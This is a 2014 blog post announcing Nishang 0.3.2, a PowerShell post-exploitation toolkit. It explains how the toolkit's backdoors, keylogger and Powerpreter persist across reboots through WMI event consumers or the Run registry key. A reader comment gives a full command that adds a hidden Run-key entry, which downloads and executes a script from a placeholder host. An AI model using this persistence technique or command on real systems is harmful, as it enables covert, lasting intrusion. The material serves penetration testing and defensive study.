Monday, January 27, 2014

Persistence - Powerpreter and Nishang 0.3.2 - Part 3

This is the third post in the series about Powerpreter and Nishang.

You can read the first two parts here:
(Introducing) Powerpreter and Nishang 0.3.0 : Easy post exploitation using powershell - Part 1
Pivoting to and poking other computers using powershell - Powerpreter and Nishang 0.3.1 - Part 2

Finally, I am back to blogging after few months. Hoping to resume the earlier frequency of writing :)

Many users wanted persistence for some payloads in Nishang. With this release, Reboot Persistence has been introduced for backdoors, keylogger and powerpreter. Scripts Add-Persistence and Remove-Persistence have also been added. Also, from this release, scripts in Nishang have been arranged in separate folders according to usage. Do let me know if you liked the change.

Persistence in Nishang uses WMI Permanent Event Consumers when used with Administrative privileges (elevated shell) and vanila Run Registry key otherwise. For WMI thingy, this Technet article helped me a lot. From 0.3.2 backdoors - HTTP-Backdoor, DNS_TXT_Pwnage and Execute-OnTime, Keylogger and Powerpreter will have this option.

For example, this is how persistence could be used for HTTP-Backdoor

The -persist parameter could be used with any of the above listed payloads.

The code for HTTP-Backdoor.ps1 is:
As visible in the above code, two files persist.vbs and HTTP-Backdoor.ps1 would be dropped in the TEMP directory of a user and a WMI permanent event consumer is created (by name of WindowsSanity) which launches persist.vbs on the user logon.I was unable to find a way to do this without dropping a file on the disk, suggestions are welcome on this.

For Powerpreter, the function Persistence could be used to achieve the same.
The Persistence function drops a copy of Powerpreter in User's TEMP directory and WMI events or Registry keys are created. On a reboot, Powerpreter is copied into the user's default $PSModulePath by the name of Update.psm1 which makes it directly usable (no Import-Module required) in Powershellv3. Note that one has to import the Update.psm1 module in Powershell v2 before using it. If the Update.psm1 is deleted by the user it will be copied back to $PSModulePath after a reboot.
The Peristence function in Powerpreter also has a HTTP based backdoor (works exaclty like the HTTP-Backdoor script).  An example.

And payload.txt contains call to
Aaand a calc pops up on the target!

Now, in case of the Keylogger, WMI method for persistence did not work. As the script is launched with the SYTEM privilege, keys for the user could not be logged by it. So the persistence method included in it is only using the Run registry key.

Ok, how about using the persistence thingy for any script? Add-Persistence could be used as below:

To check for the persistence, use the Remove-Persistence.ps1 script or Remove-Persistence function in powerpreter. Use with -remove option to clean.

That is all for this post. I am not sure if all would agree with calling this 'Persistence', but I found it useful anyway :)

Nishang could be downloaded from:

Hope you will find this useful too. As always I am looking forward for suggestions, feedback, bug reports and contributions.


  1. You could try to add something like that:

    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /f /t REG_SZ /d "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonInteractive -ep bypass -nop -c \"IEX ((new-object net.webclient).downloadstring('http://IP_ADDRESS/path_to_powershell'))\""

    it shouldn't drop anything. But probably you already figured it out...

  2. Thanks. I would see if this could replace some code. Though, I do not want a script to communicate to the internet until it is a necessity.

  3. You are the man! I am testing it and it's amazing easy to import modules. I can contribute fast menu, nogui, fast select etc

    1. Thanks. I always welcome contributions. Could you please send me details of what you plan to contribute on nikhil [dot] uitrgpv [at]


Note: Only a member of this blog may post a comment.